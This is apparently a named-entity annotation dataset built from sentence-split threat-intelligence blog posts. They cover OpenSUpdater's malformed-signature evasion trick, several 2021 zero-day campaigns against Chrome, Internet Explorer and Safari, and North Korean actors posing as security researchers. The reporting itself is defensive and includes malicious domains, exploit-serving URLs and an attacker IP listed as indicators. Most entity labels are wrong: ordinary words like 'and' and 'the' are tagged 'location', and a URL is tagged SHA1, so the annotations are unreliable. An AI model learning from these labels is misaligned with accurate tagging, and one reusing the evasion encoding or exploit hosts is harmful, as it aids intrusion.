-{"id":8595,"text":"Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.","entities":[{"id":26576,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]} {"id":8596,"text":"Understanding the techniques used by attackers helps us counter these threats effectively.","entities":[],"relations":[],"Comments":[]} -{"id":8597,"text":"This blog post is intended to highlight a new evasion technique we identified, which is currently being used by a financially motivated threat actor to avoid detection.","entities":[{"id":26577,"label":"location","start_offset":10,"end_offset":14}],"relations":[],"Comments":[]} -{"id":8598,"text":"Attackers often rely on varying behaviors between different systems to gain access.","entities":[{"id":26578,"label":"location","start_offset":42,"end_offset":49}],"relations":[],"Comments":[]} -{"id":8599,"text":"For instance, attacker’s may bypass filtering by convincing a mail gateway that a document is benign so the computer treats it as an executable program.","entities":[{"id":26579,"label":"location","start_offset":25,"end_offset":28},{"id":26580,"label":"location","start_offset":67,"end_offset":74}],"relations":[],"Comments":[]} -{"id":8600,"text":"In the case of the attack outlined below, we see that attackers created malformed code signatures that are treated as valid by Windows but are not able to be decoded or checked by OpenSSL code — which is used in a number of security scanning products.","entities":[{"id":26581,"label":"location","start_offset":7,"end_offset":11},{"id":26582,"label":"location","start_offset":103,"end_offset":106},{"id":26584,"label":"location","start_offset":139,"end_offset":142},{"id":26586,"label":"location","start_offset":224,"end_offset":232}],"relations":[],"Comments":[]} {"id":8601,"text":"We believe this is a technique the attacker is using to evade detection rules.","entities":[],"relations":[],"Comments":[]} {"id":8602,"text":"Code signatures on Windows executables provide guarantees about the integrity of a signed executable, as well as information about the identity of the signer.","entities":[],"relations":[],"Comments":[]} -{"id":8603,"text":"Attackers who are able to obscure their identity in signatures without affecting the integrity of the signature can avoid detection longer and extend the lifetime of their code-signing certificates to infect more systems.","entities":[{"id":26588,"label":"location","start_offset":14,"end_offset":17},{"id":26589,"label":"location","start_offset":112,"end_offset":115},{"id":26590,"label":"location","start_offset":139,"end_offset":142}],"relations":[],"Comments":[]} -{"id":8604,"text":"OpenSUpdater, a known family of unwanted software which violates our policies and is harmful to the user experience, is used to download and install other suspicious programs.","entities":[{"id":26592,"label":"location","start_offset":78,"end_offset":81},{"id":26593,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]} -{"id":8605,"text":"The actor behind OpenSUpdater tries to infect as many users as possible and while they do not have specific targeting, most targets appear to be within the United States and prone to downloading game cracks and grey-area software.","entities":[{"id":26595,"label":"location","start_offset":49,"end_offset":53},{"id":26596,"label":"location","start_offset":72,"end_offset":75},{"id":26597,"label":"location","start_offset":119,"end_offset":123},{"id":26599,"label":"location","start_offset":170,"end_offset":173},{"id":26600,"label":"location","start_offset":207,"end_offset":210}],"relations":[],"Comments":[]} -{"id":8606,"text":"Groups of OpenSUpdater samples are often signed with the same code-signing certificate, obtained from a legitimate certificate authority.","entities":[{"id":26602,"label":"location","start_offset":31,"end_offset":34},{"id":26603,"label":"location","start_offset":57,"end_offset":61}],"relations":[],"Comments":[]} {"id":8607,"text":"Since mid-August, OpenSUpdater samples have carried an invalid signature, and further investigation showed this was a deliberate attempt to evade detection.","entities":[{"id":26605,"label":"malware","start_offset":18,"end_offset":30},{"id":26606,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]} -{"id":8608,"text":"In these new samples, the signature was edited such that an End of Content (EOC) marker replaced a NULL tag for the 'parameters' element of the SignatureAlgorithm signing the leaf X.509 certificate.","entities":[{"id":26607,"label":"location","start_offset":67,"end_offset":74},{"id":26608,"label":"location","start_offset":175,"end_offset":179}],"relations":[],"Comments":[]} -{"id":8609,"text":"EOC markers terminate indefinite-length encodings, but in this case an EOC is used within a definite-length encoding (l= 13). ","entities":[{"id":26609,"label":"location","start_offset":63,"end_offset":67}],"relations":[],"Comments":[]} {"id":8610,"text":"Bytes: 30 0D 06 09 2A 86 48 86 F7 0D 01 01 0B 00 00","entities":[],"relations":[],"Comments":[]} -{"id":8611,"text":"Decodes to the following elements: SEQUENCE (2 elem) OBJECT IDENTIFIER 1.2.840.113549.1.1.11 sha256WithRSAEncryption (PKCS #1) EOC Security products using OpenSSL to extract signature information will reject this encoding as invalid.","entities":[{"id":26610,"label":"location","start_offset":132,"end_offset":140},{"id":26611,"label":"location","start_offset":197,"end_offset":201}],"relations":[],"Comments":[]} -{"id":8612,"text":"However, to a parser that permits these encodings, the digital signature of the binary will otherwise appear legitimate and valid.","entities":[{"id":26612,"label":"location","start_offset":87,"end_offset":91},{"id":26613,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]} -{"id":8613,"text":"This is the first time TAG has observed actors using this technique to evade detection while preserving a valid digital signature on PE files.","entities":[{"id":26615,"label":"location","start_offset":18,"end_offset":22}],"relations":[],"Comments":[]} {"id":8614,"text":"As shown in the following screenshot, the signature is considered to be valid by the Windows operating system.","entities":[],"relations":[],"Comments":[]} -{"id":8615,"text":"This issue has been reported to Microsoft.","entities":[{"id":26616,"label":"location","start_offset":5,"end_offset":10}],"relations":[],"Comments":[]} {"id":8616,"text":"Since first discovering this activity, OpenSUpdater's authors have tried other variations on invalid encodings to further evade detection.","entities":[{"id":26618,"label":"malware","start_offset":39,"end_offset":51}],"relations":[],"Comments":[]} {"id":8617,"text":"The following are samples using this evasion: https:\/\/www.virustotal.com\/gui\/file\/5094028a0afb4d4a3d8fa82b613c0e59d31450d6c75ed96ded02be1e9db8104f\/detection","entities":[{"id":26619,"label":"location","start_offset":14,"end_offset":17},{"id":26620,"label":"SHA1","start_offset":46,"end_offset":156}],"relations":[],"Comments":[]} {"id":8618,"text":"New variant: https:\/\/www.virustotal.com\/gui\/file\/5c0ff7b23457078c9d0cbe186f1d05bfd573eb555baa1bf4a45e1b79c8c575db\/detection","entities":[{"id":26621,"label":"URL","start_offset":13,"end_offset":123}],"relations":[],"Comments":[]} -{"id":8619,"text":"Our team is working in collaboration with Google Safe Browsing to protect users from downloading and executing this family of unwanted software.","entities":[{"id":26623,"label":"location","start_offset":97,"end_offset":100}],"relations":[],"Comments":[]} -{"id":8620,"text":"Users are encouraged to only download and install software from reputable and trustworthy sources.","entities":[{"id":26624,"label":"location","start_offset":6,"end_offset":9},{"id":26625,"label":"location","start_offset":24,"end_offset":28},{"id":26626,"label":"location","start_offset":38,"end_offset":41},{"id":26627,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]} -{"id":8621,"text":" Zero-day vulnerabilities are unknown software flaws.","entities":[{"id":26629,"label":"location","start_offset":26,"end_offset":29}],"relations":[],"Comments":[]} -{"id":8622,"text":"Until they’re identified and fixed, they can be exploited by attackers.","entities":[{"id":26630,"label":"location","start_offset":25,"end_offset":28},{"id":26631,"label":"location","start_offset":41,"end_offset":44}],"relations":[],"Comments":[]} -{"id":8623,"text":"Google’s Threat Analysis Group (TAG) actively works to detect hacking attempts and influence operations to protect users from digital attacks, this includes hunting for these types of vulnerabilities because they can be particularly dangerous when exploited and have a high rate of success.","entities":[{"id":26634,"label":"location","start_offset":79,"end_offset":82},{"id":26635,"label":"location","start_offset":157,"end_offset":164},{"id":26636,"label":"location","start_offset":213,"end_offset":216},{"id":26637,"label":"location","start_offset":258,"end_offset":261},{"id":26638,"label":"location","start_offset":282,"end_offset":289}],"relations":[],"Comments":[]} -{"id":8624,"text":"In this blog, we’re sharing details about four in-the-wild 0-day campaigns targeting four separate vulnerabilities we’ve discovered so far this year: CVE-2021-21166 and CVE-2021-30551 in Chrome, CVE-2021-33742 in Internet Explorer, and CVE-2021-1879 in WebKit (Safari).","entities":[{"id":26643,"label":"location","start_offset":165,"end_offset":168},{"id":26645,"label":"location","start_offset":232,"end_offset":235}],"relations":[],"Comments":[]} {"id":8625,"text":"The four exploits were used as a part of three different campaigns.","entities":[],"relations":[],"Comments":[]} -{"id":8626,"text":"As is our policy, after discovering these 0-days, we quickly reported to the vendor and patches were released to users to protect them from these attacks.","entities":[{"id":26649,"label":"location","start_offset":77,"end_offset":83},{"id":26650,"label":"location","start_offset":84,"end_offset":87},{"id":26651,"label":"location","start_offset":130,"end_offset":134}],"relations":[],"Comments":[]} -{"id":8627,"text":"We assess three of these exploits were developed by the same commercial surveillance company that sold these capabilities to two different government-backed actors.","entities":[{"id":26653,"label":"location","start_offset":56,"end_offset":60}],"relations":[],"Comments":[]} -{"id":8628,"text":"Google has also published root cause analyses (RCAs) on each of the 0-days.","entities":[{"id":26656,"label":"location","start_offset":26,"end_offset":30}],"relations":[],"Comments":[]} -{"id":8629,"text":"In addition to the technical details, we’ll also provide our take on the large uptick of in-the-wild 0-day attacks the industry is seeing this year.","entities":[{"id":26658,"label":"location","start_offset":73,"end_offset":78},{"id":26660,"label":"location","start_offset":119,"end_offset":127}],"relations":[],"Comments":[]} -{"id":8630,"text":"Halfway into 2021, there have been 33 0-day exploits used in attacks that have been publicly disclosed this year — 11 more than the total number from 2020.","entities":[{"id":26662,"label":"location","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]} -{"id":8631,"text":"While there is an increase in the number of 0-day exploits being used, we believe greater detection and disclosure efforts are also contributing to the upward trend.","entities":[{"id":26670,"label":"location","start_offset":100,"end_offset":103},{"id":26671,"label":"location","start_offset":123,"end_offset":126}],"relations":[],"Comments":[]} -{"id":8632,"text":"Over the past several months, we have discovered two Chrome renderer remote code execution 0-day exploits, CVE-2021-21166 and ​​CVE-2021-30551, which we believe to be used by the same actor.","entities":[{"id":26674,"label":"location","start_offset":69,"end_offset":75},{"id":26676,"label":"location","start_offset":122,"end_offset":125},{"id":26677,"label":"location","start_offset":179,"end_offset":183}],"relations":[],"Comments":[]} -{"id":8633,"text":"CVE-2021-21166 was discovered in February 2021 while running Chrome 88.0.4323.182 and CVE-2021-30551 was discovered in June 2021 while running Chrome 91.0.4472.77.","entities":[{"id":26679,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]} -{"id":8634,"text":"Both of these 0-days were delivered as one-time links sent by email to the targets, all of whom we believe were in Armenia.","entities":[{"id":26681,"label":"location","start_offset":39,"end_offset":42},{"id":26682,"label":"location","start_offset":43,"end_offset":47}],"relations":[],"Comments":[]} {"id":8635,"text":"The links led to attacker-controlled domains that mimicked legitimate websites related to the targeted users.","entities":[],"relations":[],"Comments":[]} -{"id":8636,"text":"When a target clicked the link, they were redirected to a webpage that would fingerprint their device, collect system information about the client and generate ECDH keys to encrypt the exploits, and then send this data back to the exploit server.","entities":[{"id":26684,"label":"location","start_offset":7,"end_offset":13},{"id":26685,"label":"location","start_offset":147,"end_offset":150},{"id":26686,"label":"location","start_offset":195,"end_offset":198}],"relations":[],"Comments":[]} {"id":8637,"text":"The information collected from the fingerprinting phase included screen resolution, timezone, languages, browser plugins, and available MIME types.","entities":[{"id":26687,"label":"attack-pattern","start_offset":35,"end_offset":49},{"id":26688,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]} -{"id":8638,"text":"This information was collected by the attackers to decide whether or not an exploit should be delivered to the target.","entities":[{"id":26689,"label":"location","start_offset":111,"end_offset":117}],"relations":[],"Comments":[]} -{"id":8639,"text":"Using appropriate configurations, we were able to recover two 0-day exploits (CVE-2021-21166 & CVE-2021-30551), which were targeting the latest versions of Chrome on Windows at the time of delivery.","entities":[{"id":26692,"label":"location","start_offset":181,"end_offset":185}],"relations":[],"Comments":[]} -{"id":8640,"text":"After the renderer is compromised, an intermediary stage is executed to gather more information about the infected device including OS build version, CPU, firmware and BIOS information.","entities":[{"id":26693,"label":"location","start_offset":164,"end_offset":167}],"relations":[],"Comments":[]} -{"id":8641,"text":"This is likely collected in an attempt to detect virtual machines and deliver a tailored sandbox escape to the target.","entities":[{"id":26694,"label":"location","start_offset":8,"end_offset":14},{"id":26695,"label":"location","start_offset":66,"end_offset":69},{"id":26696,"label":"location","start_offset":111,"end_offset":117}],"relations":[],"Comments":[]} {"id":8642,"text":"In our environment, we did not receive any payloads past this stage.","entities":[],"relations":[],"Comments":[]} -{"id":8643,"text":"While analyzing CVE-2021-21166 we realized the vulnerability was also in code shared with WebKit and therefore Safari was also vulnerable.","entities":[{"id":26697,"label":"location","start_offset":97,"end_offset":100}],"relations":[],"Comments":[]} -{"id":8644,"text":"Apple fixed the issue as CVE-2021-1844.","entities":[{"id":26699,"label":"location","start_offset":16,"end_offset":21}],"relations":[],"Comments":[]} -{"id":8645,"text":"We do not have any evidence that this vulnerability was used to target Safari users.","entities":[{"id":26700,"label":"location","start_offset":64,"end_offset":70}],"relations":[],"Comments":[]} {"id":8646,"text":"Related IOCs lragir[.]org armradio[.]org asbares[.]com armtimes[.]net armlur[.]org armenpress[.]org hraparak[.]org armtimes[.]org hetq[.]org","entities":[],"relations":[],"Comments":[]} -{"id":8647,"text":"Despite Microsoft announcing the retirement of Internet Explorer 11, planned for June 2022, attackers continue to develop creative ways to load malicious content inside Internet Explorer engines to exploit vulnerabilities.","entities":[{"id":26704,"label":"location","start_offset":139,"end_offset":143},{"id":26705,"label":"location","start_offset":154,"end_offset":161}],"relations":[],"Comments":[]} -{"id":8648,"text":"For example, earlier this year, North Korean attackers distributed MHT files embedding an exploit for CVE-2021-26411.","entities":[{"id":26708,"label":"location","start_offset":111,"end_offset":116}],"relations":[],"Comments":[]} -{"id":8649,"text":"These files are automatically opened in Internet Explorer when they are double clicked by the user.","entities":[{"id":26709,"label":"location","start_offset":12,"end_offset":15},{"id":26710,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]} -{"id":8650,"text":"In April 2021, TAG discovered a campaign targeting Armenian users with malicious Office documents that loaded web content within Internet Explorer.","entities":[{"id":26712,"label":"location","start_offset":32,"end_offset":40},{"id":26715,"label":"location","start_offset":114,"end_offset":121}],"relations":[],"Comments":[]} -{"id":8651,"text":"This happened by either embedding a remote ActiveX object using a Shell.Explorer.1 OLE object or by spawning an Internet Explorer process via VBA macros to navigate to a web page.","entities":[{"id":26716,"label":"location","start_offset":36,"end_offset":42},{"id":26717,"label":"location","start_offset":66,"end_offset":71},{"id":26718,"label":"location","start_offset":174,"end_offset":178}],"relations":[],"Comments":[]} -{"id":8652,"text":"At the time, we were unable to recover the next stage payload, but successfully recovered the exploit after an early June campaign from the same actors.","entities":[{"id":26719,"label":"location","start_offset":7,"end_offset":11},{"id":26721,"label":"location","start_offset":122,"end_offset":130},{"id":26722,"label":"location","start_offset":140,"end_offset":144}],"relations":[],"Comments":[]} {"id":8653,"text":"After a fingerprinting phase, similar to the one used with the Chrome exploit above, users were served an Internet Explorer 0-day.","entities":[{"id":26723,"label":"attack-pattern","start_offset":8,"end_offset":22},{"id":26724,"label":"location","start_offset":45,"end_offset":48}],"relations":[],"Comments":[]} -{"id":8654,"text":"This vulnerability was assigned CVE-2021-33742 and fixed by Microsoft in June 2021.","entities":[{"id":26727,"label":"location","start_offset":47,"end_offset":50}],"relations":[],"Comments":[]} -{"id":8655,"text":"The exploit loaded an intermediary stage similar to the one used in the Chrome exploits.","entities":[{"id":26730,"label":"location","start_offset":56,"end_offset":59}],"relations":[],"Comments":[]} {"id":8656,"text":"We did not recover additional payloads in our environment.","entities":[],"relations":[],"Comments":[]} {"id":8657,"text":"During our investigation we discovered several documents uploaded to VirusTotal.","entities":[],"relations":[],"Comments":[]} -{"id":8658,"text":"Based on our analysis, we assess that the Chrome and Internet Explorer exploits described here were developed and sold by the same vendor providing surveillance capabilities to customers around the world.","entities":[{"id":26733,"label":"location","start_offset":49,"end_offset":52},{"id":26734,"label":"location","start_offset":110,"end_offset":113},{"id":26735,"label":"location","start_offset":126,"end_offset":130},{"id":26736,"label":"location","start_offset":131,"end_offset":137},{"id":26737,"label":"location","start_offset":198,"end_offset":203}],"relations":[],"Comments":[]} -{"id":8659,"text":"On July 15, 2021 Citizen Lab published a report tying the activity to spyware vendor Candiru.","entities":[{"id":26740,"label":"location","start_offset":78,"end_offset":84}],"relations":[],"Comments":[]} {"id":8660,"text":"Related IOCs","entities":[],"relations":[],"Comments":[]} {"id":8661,"text":"Examples of related Office documents uploaded to VirusTotal: https:\/\/www.virustotal.com\/gui\/file\/656d19186795280a068fcb97e7ef821b55ad3d620771d42ed98d22ee3c635e67\/detection https:\/\/www.virustotal.com\/gui\/file\/851bf4ab807fc9b29c9f6468c8c89a82b8f94e40474c6669f105bce91f278fdb\/detection","entities":[{"id":26744,"label":"URL","start_offset":61,"end_offset":171},{"id":26745,"label":"SHA1","start_offset":172,"end_offset":282}],"relations":[],"Comments":[]} {"id":8662,"text":"Unique URLs serving ​​CVE-2021-33742 Internet Explorer exploit: http:\/\/lioiamcount[.]com\/IsnoMLgankYg6\/EjlYIy7cdFZFeyFqE4IURS1 http:\/\/db-control-uplink[.]com\/eFe1J00hISDe9Zw\/gzHvIOlHpIXB http:\/\/kidone[.]xyz\/VvE0yYArmvhyTl\/GzV","entities":[{"id":26746,"label":"URL","start_offset":64,"end_offset":88},{"id":26747,"label":"URL","start_offset":127,"end_offset":136},{"id":26748,"label":"URL","start_offset":187,"end_offset":206}],"relations":[],"Comments":[]} {"id":8663,"text":"Word documents with the following classid: {EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B} Related infrastructure: workaj[.]com wordzmncount[.]com Not all attacks require chaining multiple 0-day exploits to be successful.","entities":[],"relations":[],"Comments":[]} -{"id":8664,"text":"A recent example is CVE-​2021-1879 that was discovered by TAG on March 19, 2021, and used by a likely Russian government-backed actor.","entities":[{"id":26751,"label":"location","start_offset":81,"end_offset":84},{"id":26752,"label":"location","start_offset":95,"end_offset":101}],"relations":[],"Comments":[]} {"id":8665,"text":"(NOTE: This exploit is not connected to the other three we’ve discussed above.)","entities":[],"relations":[],"Comments":[]} -{"id":8666,"text":"In this campaign, attackers used LinkedIn Messaging to target government officials from western European countries by sending them malicious links.","entities":[{"id":26755,"label":"location","start_offset":8,"end_offset":16},{"id":26757,"label":"location","start_offset":55,"end_offset":61},{"id":26758,"label":"location","start_offset":88,"end_offset":95},{"id":26760,"label":"location","start_offset":126,"end_offset":130}],"relations":[],"Comments":[]} -{"id":8667,"text":"If the target visited the link from an iOS device, they would be redirected to an attacker-controlled domain that served the next stage payloads.","entities":[{"id":26761,"label":"location","start_offset":7,"end_offset":13}],"relations":[],"Comments":[]} -{"id":8668,"text":"The campaign targeting iOS devices coincided with campaigns from the same actor targeting users on Windows devices to deliver Cobalt Strike, one of which was previously described by Volexity.","entities":[{"id":26762,"label":"location","start_offset":4,"end_offset":12},{"id":26763,"label":"location","start_offset":69,"end_offset":73},{"id":26766,"label":"location","start_offset":141,"end_offset":144}],"relations":[],"Comments":[]} -{"id":8669,"text":"After several validation checks to ensure the device being exploited was a real device, the final payload would be served to exploit CVE-​2021-1879.","entities":[{"id":26768,"label":"location","start_offset":75,"end_offset":79}],"relations":[],"Comments":[]} -{"id":8670,"text":"This exploit would turn off Same-Origin-Policy protections in order to collect authentication cookies from several popular websites, including Google, Microsoft, LinkedIn, Facebook and Yahoo and send them via WebSocket to an attacker-controlled IP.","entities":[{"id":26769,"label":"location","start_offset":28,"end_offset":32},{"id":26774,"label":"location","start_offset":181,"end_offset":184},{"id":26776,"label":"location","start_offset":191,"end_offset":194},{"id":26777,"label":"location","start_offset":200,"end_offset":204}],"relations":[],"Comments":[]} {"id":8671,"text":"The victim would need to have a session open on these websites from Safari for cookies to be successfully exfiltrated.","entities":[],"relations":[],"Comments":[]} {"id":8672,"text":"There was no sandbox escape or implant delivered via this exploit.","entities":[],"relations":[],"Comments":[]} {"id":8673,"text":"The exploit targeted iOS versions 12.4 through 13.7.","entities":[],"relations":[],"Comments":[]} -{"id":8674,"text":"This type of attack, described by Amy Burnett in Forget the Sandbox Escape: Abusing Browsers from Code Execution, are mitigated in browsers with Site Isolation enabled such as Chrome or Firefox.","entities":[{"id":26778,"label":"location","start_offset":5,"end_offset":9},{"id":26781,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]} {"id":8675,"text":"Related IOCs supportcdn.web[.]app vegmobile[.]com 111.90.146[.]198","entities":[{"id":26782,"label":"IPV4","start_offset":50,"end_offset":66}],"relations":[],"Comments":[]} -{"id":8676,"text":"There is not a one-to-one relationship between the number of 0-days being used in-the-wild and the number of 0-days being detected and disclosed as in-the-wild.","entities":[{"id":26783,"label":"location","start_offset":15,"end_offset":18},{"id":26784,"label":"location","start_offset":22,"end_offset":25},{"id":26785,"label":"location","start_offset":39,"end_offset":46},{"id":26787,"label":"location","start_offset":91,"end_offset":94},{"id":26789,"label":"location","start_offset":131,"end_offset":134}],"relations":[],"Comments":[]} -{"id":8677,"text":"The attackers behind 0-day exploits generally want their 0-days to stay hidden and unknown because that’s how they’re most useful.","entities":[{"id":26792,"label":"location","start_offset":79,"end_offset":82},{"id":26793,"label":"location","start_offset":118,"end_offset":122}],"relations":[],"Comments":[]} -{"id":8678,"text":"Based on this, there are multiple factors that could be contributing to the uptick in the number of 0-days that are disclosed as in-the-wild: Increase in detection & disclosure","entities":[{"id":26794,"label":"location","start_offset":21,"end_offset":24},{"id":26796,"label":"location","start_offset":112,"end_offset":115}],"relations":[],"Comments":[]} -{"id":8679,"text":"This year, Apple began annotating vulnerabilities in their security bulletins to include notes if there is reason to believe that a vulnerability may be exploited in-the-wild and Google added these annotations to their Android bulletins.","entities":[{"id":26799,"label":"location","start_offset":59,"end_offset":67},{"id":26800,"label":"location","start_offset":146,"end_offset":149},{"id":26801,"label":"location","start_offset":175,"end_offset":178}],"relations":[],"Comments":[]} -{"id":8680,"text":"When vendors don’t include these annotations, the only way the public can learn of the in-the-wild exploitation is if the researcher or group who knows of the exploitation publishes the information themselves.","entities":[{"id":26804,"label":"location","start_offset":50,"end_offset":54},{"id":26805,"label":"location","start_offset":55,"end_offset":58},{"id":26806,"label":"location","start_offset":63,"end_offset":69},{"id":26807,"label":"location","start_offset":70,"end_offset":73}],"relations":[],"Comments":[]} -{"id":8681,"text":"In addition to beginning to disclose when 0-days are believed to be exploited in-the-wild, it wouldn’t be surprising if there are more 0-day detection efforts, and successes, occurring as a result.","entities":[{"id":26809,"label":"location","start_offset":49,"end_offset":52},{"id":26810,"label":"location","start_offset":126,"end_offset":129},{"id":26812,"label":"location","start_offset":160,"end_offset":163}],"relations":[],"Comments":[]} -{"id":8682,"text":"It’s also possible that more people are focusing on discovering 0-days in-the-wild and\/or reporting the 0-days that they found in the wild.","entities":[{"id":26813,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]} {"id":8683,"text":"Increased Utilization","entities":[],"relations":[],"Comments":[]} -{"id":8684,"text":"There is also the possibility that attackers are using more 0-day exploits.","entities":[{"id":26815,"label":"location","start_offset":45,"end_offset":48}],"relations":[],"Comments":[]} -{"id":8685,"text":"There are a few reasons why this is likely: Over the last decade, we believe there has been an increase in attackers using 0-day exploits.","entities":[{"id":26817,"label":"location","start_offset":6,"end_offset":9},{"id":26818,"label":"location","start_offset":36,"end_offset":42}],"relations":[],"Comments":[]} -{"id":8686,"text":"Attackers needing more 0-day exploits to maintain their capabilities is a good thing — and it ","entities":[{"id":26822,"label":"location","start_offset":74,"end_offset":78},{"id":26823,"label":"location","start_offset":87,"end_offset":90}],"relations":[],"Comments":[]} -{"id":8687,"text":"reflects increased cost to the attackers from security measures that close known vulnerabilities.","entities":[{"id":26824,"label":"location","start_offset":19,"end_offset":23},{"id":26825,"label":"location","start_offset":46,"end_offset":54}],"relations":[],"Comments":[]} -{"id":8688,"text":"However, the increasing demand for these capabilities and the ecosystem that supplies them is more of a challenge.","entities":[{"id":26826,"label":"location","start_offset":54,"end_offset":57},{"id":26827,"label":"location","start_offset":86,"end_offset":90},{"id":26828,"label":"location","start_offset":104,"end_offset":113}],"relations":[],"Comments":[]} -{"id":8689,"text":"0-day capabilities used to be only the tools of select nation states who had the technical expertise to find 0-day vulnerabilities, develop them into exploits, and then strategically operationalize their use.","entities":[{"id":26830,"label":"location","start_offset":30,"end_offset":34},{"id":26832,"label":"location","start_offset":140,"end_offset":144},{"id":26833,"label":"location","start_offset":160,"end_offset":163}],"relations":[],"Comments":[]} {"id":8690,"text":"In the mid-to-late 2010s, more private companies have joined the marketplace selling these 0-day capabilities.","entities":[],"relations":[],"Comments":[]} {"id":8691,"text":"No longer do groups need to have the technical expertise, now they just need resources.","entities":[{"id":26836,"label":"identity","start_offset":67,"end_offset":71}],"relations":[],"Comments":[]} -{"id":8692,"text":"Three of the four 0-days that TAG has discovered in 2021 fall into this category: developed by commercial providers and sold to and used by government-backed actors.","entities":[{"id":26842,"label":"location","start_offset":116,"end_offset":119},{"id":26843,"label":"location","start_offset":128,"end_offset":131}],"relations":[],"Comments":[]} -{"id":8693,"text":"Meanwhile, improvements in detection and a growing culture of disclosure likely contribute to the significant uptick in 0-days detected in 2021 compared to 2020, but reflect more positive trends.","entities":[{"id":26844,"label":"location","start_offset":37,"end_offset":40},{"id":26845,"label":"location","start_offset":73,"end_offset":79}],"relations":[],"Comments":[]} -{"id":8694,"text":"Those of us working on protecting users from 0-day attacks have long suspected that overall, the industry detects only a small percentage of the 0-days actually being used.","entities":[{"id":26850,"label":"location","start_offset":64,"end_offset":68},{"id":26851,"label":"location","start_offset":84,"end_offset":91},{"id":26852,"label":"location","start_offset":97,"end_offset":105},{"id":26853,"label":"location","start_offset":114,"end_offset":118},{"id":26854,"label":"location","start_offset":121,"end_offset":126}],"relations":[],"Comments":[]} -{"id":8695,"text":"Increasing our detection of 0-day exploits is a good thing — it allows us to get those vulnerabilities fixed and protect users, and gives us a fuller picture of the exploitation that is actually happening so we can make more informed decisions on how to prevent and fight it.","entities":[{"id":26857,"label":"location","start_offset":48,"end_offset":52},{"id":26858,"label":"location","start_offset":109,"end_offset":112},{"id":26859,"label":"location","start_offset":128,"end_offset":131},{"id":26860,"label":"location","start_offset":211,"end_offset":214},{"id":26861,"label":"location","start_offset":262,"end_offset":265}],"relations":[],"Comments":[]} -{"id":8696,"text":"We’d be remiss if we did not acknowledge the quick response and patching of these vulnerabilities by the Apple, Google, and Microsoft teams.","entities":[{"id":26862,"label":"location","start_offset":45,"end_offset":50},{"id":26863,"label":"location","start_offset":60,"end_offset":63},{"id":26866,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]} -{"id":8697,"text":"In January, the Threat Analysis Group documented a hacking campaign, which we were able to attribute to a North Korean government-backed entity, targeting security researchers.","entities":[{"id":26870,"label":"location","start_offset":59,"end_offset":67},{"id":26872,"label":"location","start_offset":155,"end_offset":163}],"relations":[],"Comments":[]} -{"id":8698,"text":"On March 17th, the same actors behind those attacks set up a new website with associated social media profiles for a fake company called “SecuriElite.”","entities":[{"id":26874,"label":"location","start_offset":19,"end_offset":23},{"id":26875,"label":"location","start_offset":96,"end_offset":101}],"relations":[],"Comments":[]} -{"id":8699,"text":"The new website claims the company is an offensive security company located in Turkey that offers pentests, software security assessments and exploits.","entities":[{"id":26877,"label":"location","start_offset":51,"end_offset":59},{"id":26879,"label":"location","start_offset":117,"end_offset":125},{"id":26880,"label":"location","start_offset":138,"end_offset":141}],"relations":[],"Comments":[]} -{"id":8700,"text":"Like previous websites we’ve seen set up by this actor, this website has a link to their PGP public key at the bottom of the page.","entities":[{"id":26881,"label":"location","start_offset":93,"end_offset":99},{"id":26882,"label":"location","start_offset":125,"end_offset":129}],"relations":[],"Comments":[]} -{"id":8701,"text":"In January, targeted researchers reported that the PGP key hosted on the attacker’s blog acted as the lure to visit the site where a browser exploit was waiting to be triggered.","entities":[{"id":26884,"label":"location","start_offset":102,"end_offset":106}],"relations":[],"Comments":[]} -{"id":8702,"text":" The attacker’s latest batch of social media profiles continue the trend of posing as fellow security researchers interested in exploitation and offensive security.","entities":[{"id":26885,"label":"location","start_offset":39,"end_offset":44},{"id":26886,"label":"location","start_offset":93,"end_offset":101},{"id":26887,"label":"location","start_offset":141,"end_offset":144},{"id":26888,"label":"location","start_offset":155,"end_offset":163}],"relations":[],"Comments":[]} -{"id":8703,"text":"On LinkedIn, we identified two accounts impersonating recruiters for antivirus and security companies.","entities":[{"id":26891,"label":"location","start_offset":79,"end_offset":82},{"id":26892,"label":"location","start_offset":83,"end_offset":91}],"relations":[],"Comments":[]} -{"id":8704,"text":"We have reported all identified social media profiles to the platforms to allow them to take appropriate action.","entities":[{"id":26893,"label":"location","start_offset":39,"end_offset":44},{"id":26894,"label":"location","start_offset":80,"end_offset":84},{"id":26895,"label":"location","start_offset":105,"end_offset":111}],"relations":[],"Comments":[]} -{"id":8705,"text":"At this time, we have not observed the new attacker website serve malicious content, but we have added it to Google Safebrowsing as a precaution.","entities":[{"id":26896,"label":"location","start_offset":8,"end_offset":12},{"id":26897,"label":"location","start_offset":76,"end_offset":83}],"relations":[],"Comments":[]} -{"id":8706,"text":"Following our January blog post, security researchers successfully identified these actors using an Internet Explorer 0-day.","entities":[{"id":26899,"label":"location","start_offset":27,"end_offset":31},{"id":26900,"label":"location","start_offset":33,"end_offset":41},{"id":26901,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]} -{"id":8707,"text":"Based on their activity, we continue to believe that these actors are dangerous, and likely have more 0-days.","entities":[{"id":26902,"label":"location","start_offset":66,"end_offset":69},{"id":26903,"label":"location","start_offset":81,"end_offset":84},{"id":26904,"label":"location","start_offset":85,"end_offset":91}],"relations":[],"Comments":[]} {"id":8708,"text":"We encourage anyone who discovers a Chrome vulnerability to report that activity through the Chrome Vulnerabilities Rewards Program submission process.","entities":[],"relations":[],"Comments":[]} -{"id":8709,"text":"Fake Security Company Website: LinkedIn Profiles: Email: Attacker Owned Domains: Over the past several months, the Threat Analysis Group has identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and 